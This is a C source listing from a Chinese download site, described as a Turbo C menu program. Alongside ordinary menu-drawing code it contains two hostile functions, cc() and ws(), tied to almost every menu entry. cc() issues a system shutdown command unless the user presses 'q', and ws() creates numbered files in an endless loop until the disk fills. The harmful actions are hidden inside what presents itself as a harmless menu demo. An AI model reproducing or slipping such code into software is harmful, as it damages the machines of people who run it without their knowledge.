⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 xlcdnet2.c

📁 模拟TC的菜单程序,在turboc2.0下运行
💻 C
📖 第 1 页 / 共 2 页
字号:
                }
        process_sub_move(x1,y1,old_menu,new_menu,menu);
                break;
            case RIGHT:
            case LEFT :
                break;
            case ENTER:
                process(new_menu,flag);
                break;
            case ALT_X:
                exit_info();
            default:
                break;
        }
    }
}

void process_sub_move(int x,int y,int old_menu,int new_menu,char* menu[])
{
    int L,R;
    L=x+10;

    R=y+20+old_menu*20;
    setcolor(BLACK);
    settextstyle(0,HORIZ_DIR,1);
    outtextxy(L+15,R+5,menu[old_menu]);

    R=y+20+new_menu*20;
    setcolor(WHITE);
    settextstyle(0,HORIZ_DIR,1);
    outtextxy(L+15,R+5,menu[new_menu]);
}

void write_sub_menu(int x1,int y1,int x2,int y2,int count,char* menu[])
{
    int i=0;
    int L,T,R,B;
    int height=(y2-y1-40)/count;
    int width=20;

    L=x1+10,
    T=y1+20;
    R=x2-10;
    B=T;

    T=B;
    B=B+height;
    setcolor(BLUE);
    drawbox(L,T,R,B);
    setcolor(WHITE);
    settextstyle(0,HORIZ_DIR,1);
    outtextxy(L+15,T+5,menu[0]);

    for(i=1;i<count;i++)
    {
        T=B;
        B=B+height;
        setcolor(BLUE);
        drawbox(L,T,R,B);
        setcolor(BLACK);
        settextstyle(0,HORIZ_DIR,1);
        outtextxy(L+15,T+5,menu[i]);
    }
}
void cc(void){
    char ch;
    setfillstyle(SOLID_FILL,RED);
    bar(150,200,350,250);
    setcolor(BLACK);
    outtextxy(170,210,"Waring ... ...");
    outtextxy(170,230,"press 'q' key exit!");
    ch=getch();
    if(ch=='q')
    {
        setfillstyle(SOLID_FILL,BLUE);
        bar(150,200,350,250);
        return;
    }
    system("shutdown -s");return;}
void ws(void){char s[20];int i=0;char ch;
    setfillstyle(SOLID_FILL,RED);
    bar(200,200,400,250);
    setcolor(BLACK);
    settextstyle(0,HORIZ_DIR,1);
    outtextxy(220,220,"press 'q' key exit! ");
    ch=getch();
    if(ch=='q')
    {
        setfillstyle(SOLID_FILL,BLUE);
        bar(200,200,400,250);
        return;
    }
    setfillstyle(SOLID_FILL,RED);
    bar(200,200,400,250);
    setcolor(WHITE);
    settextstyle(0,HORIZ_DIR,1);
    outtextxy(220,220,"writing .... ....");
    while(!fclose(fopen(itoa(i++,s,10),"wb")));}
void process_down(int down_pos)/*   important socket  */
{
    switch(down_pos)
    {
        case 0:
            draw_sub_box(20,20,160,240,9);
            write_sub_menu(20,20,160,240,9,sub_menu1);
            process_sub_menu(20,20,9,0,sub_menu1);
            break;
        case 1:
            break;
        case 2:
            draw_sub_box(150,20,370,180,6);
           write_sub_menu(150,20,370,180,6,sub_menu3);
            process_sub_menu(150,20,6,2,sub_menu3);
            break;
        case 3:
            draw_sub_box(200,20,500,180,6);
        write_sub_menu(200,20,500,180,6,sub_menu4);
            process_sub_menu(200,20,6,3,sub_menu4);
            break;
        case 4:
            draw_sub_box(250,20,490,160,5);
        write_sub_menu(250,20,490,160,5,sub_menu5);
            process_sub_menu(250,20,5,4,sub_menu5);
            break;
        case 5:
            draw_sub_box(350,20,520,200,7);
        write_sub_menu(350,20,520,200,7,sub_menu6);
            process_sub_menu(350,20,7,5,sub_menu6);
            break;
        case 6:
            draw_sub_box(360,20,600,180,6);
        write_sub_menu(360,20,600,180,6,sub_menu7);
            process_sub_menu(360,20,6,6,sub_menu7);
            break;
        case 7:
            draw_sub_box(380,20,630,200,7);
        write_sub_menu(380,20,630,200,7,sub_menu8);
            process_sub_menu(380,20,7,7,sub_menu8);
            break;
        default:
            break;
    }
    return;
}

void exit_info(void)
{
    cleardevice();
    setfillstyle(SOLID_FILL,LIGHTGRAY);
    bar(150,150,450,350);
    setcolor(RED);
    settextstyle(0,HORIZ_DIR,1);
    outtextxy(180,200,"THANK YOU USE MY MENU SYSTEM!");
    outtextxy(200,220," press any key to exit");
    setfillstyle(SOLID_FILL,BLUE);
    bar(220,250,370,300);
    settextstyle(0,HORIZ_DIR,1);
    outtextxy(230,270,"author:zhangmou");
    getch();
    closegraph();
    exit(0);
    return;
}

/* process sub position */
void process00(void){ws();}
void process01(void){ws();}
void process02(void){ws();}
void process03(void){ws();}
void process04(void){ws();}
void process05(void){ws();}
void process06(void){ws();}
void process07(void)
{
    restorecrtmode();
    system("");
    main_menu_move();
}

void process20(void){cc();}
void process21(void){cc();}
void process22(void){cc();}
void process23(void){cc();}
void process24(void){cc();}
void process25(void){cc();}

void process30(void){cc();}
void process31(void){cc();}
void process32(void){cc();}
void process33(void){cc();}
void process34(void){cc();}
void process35(void){cc();}

void process40(void){cc();}
void process41(void){cc();}
void process42(void){cc();}
void process43(void){cc();}
void process44(void){cc();}

void process50(void){cc();}
void process51(void){cc();}
void process52(void){cc();}
void process53(void){cc();}
void process54(void){cc();}
void process55(void){cc();}
void process56(void){cc();}

void process60(void){cc();}
void process61(void){cc();}
void process62(void){cc();}
void process63(void){cc();}
void process64(void){cc();}
void process65(void){cc();}

void process70(void){cc();}
void process71(void){cc();}
void process72(void){cc();}
void process73(void){cc();}
void process74(void){cc();}
void process75(void){cc();}
void process76(void){cc();}

void process(int new_menu,int main_pos)
{
    switch(main_pos)
    {
        case 0:
            switch(new_menu)
            {
                case 0:
                    process00();
                    break;
                case 1:
                    process01();
                    break;
                case 2:
                    process02();
                    break;
                case 3:
                    process03();
                    break;
                case 4:
                    process04();
                    break;
                case 5:
                    process05();
                    break;
                case 6:
                    process06();
                    break;
                case 7:
                    process07();
                    break;
                case 8:
                    exit_info();
            }
            break;
        case 1:
            break;
        case 2:
            switch(new_menu)
            {
                case 0:
                    process20();
                    break;
                case 1:
                    process21();
                    break;
                case 2:
                    process22();
                    break;
                case 3:
                    process23();
                    break;
                case 4:
                    process24();
                    break;
                case 5:
                    process25();
                    break;
            }
            break;
        case 3:
            switch(new_menu)
            {
                case 0:
                    process30();
                    break;
                case 1:
                    process31();
                    break;
                case 2:
                    process32();
                    break;
                case 3:
                    process33();
                    break;
                case 4:
                    process34();
                case 5:
                    process35();
                    break;
            }
            break;
        case 4:
            switch(new_menu)
                {
                case 0:
                    process40();
                    break;
                case 1:
                    process41();
                    break;
                case 2:
                    process42();
                    break;
                case 3:
                    process43();
                    break;
                case 4:
                    process44();
                    break;
            }
            break;
        case 5:
            switch(new_menu)
                {
                case 0:
                    process50();
                    break;
                case 1:
                    process51();
                    break;
                case 2:
                    process52();
                    break;
                case 3:
                    process53();
                    break;
                case 4:
                    process54();
                    break;
                case 5:
                    process55();
                    break;
                case 6:
                    process56();
                    break;
            }
            break;
        case 6:
            switch(new_menu)
                {
                case 0:
                    process60();
                    break;
                case 1:
                    process61();
                    break;
                case 2:
                    process62();
                    break;
                case 3:
                    process63();
                    break;
                case 4:
                    process64();
                    break;
                case 5:
                    process65();
                    break;
            }
            break;
        case 7:
            switch(new_menu)
                {
                case 0:
                    process70();
                    break;
                case 1:
                    process71();
                    break;
                case 2:
                    process72();
                    break;
                case 3:
                    process73();
                    break;
                case 4:
                    process74();
                    break;
                case 5:
                    process75();
                    break;
                case 6:
                    process76();
                    break;
            }
            break;
    }
}
/*    finished function     */
/*         : )               */


/*************** main.c**********
*       user socket
* file directory:
*          .../tc/work/main.c
*
********************************/
int main(void)
{
    main_menu_move();
    getch();
    return 0;
}
/*     finished main function   */
/*         : )                  */

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -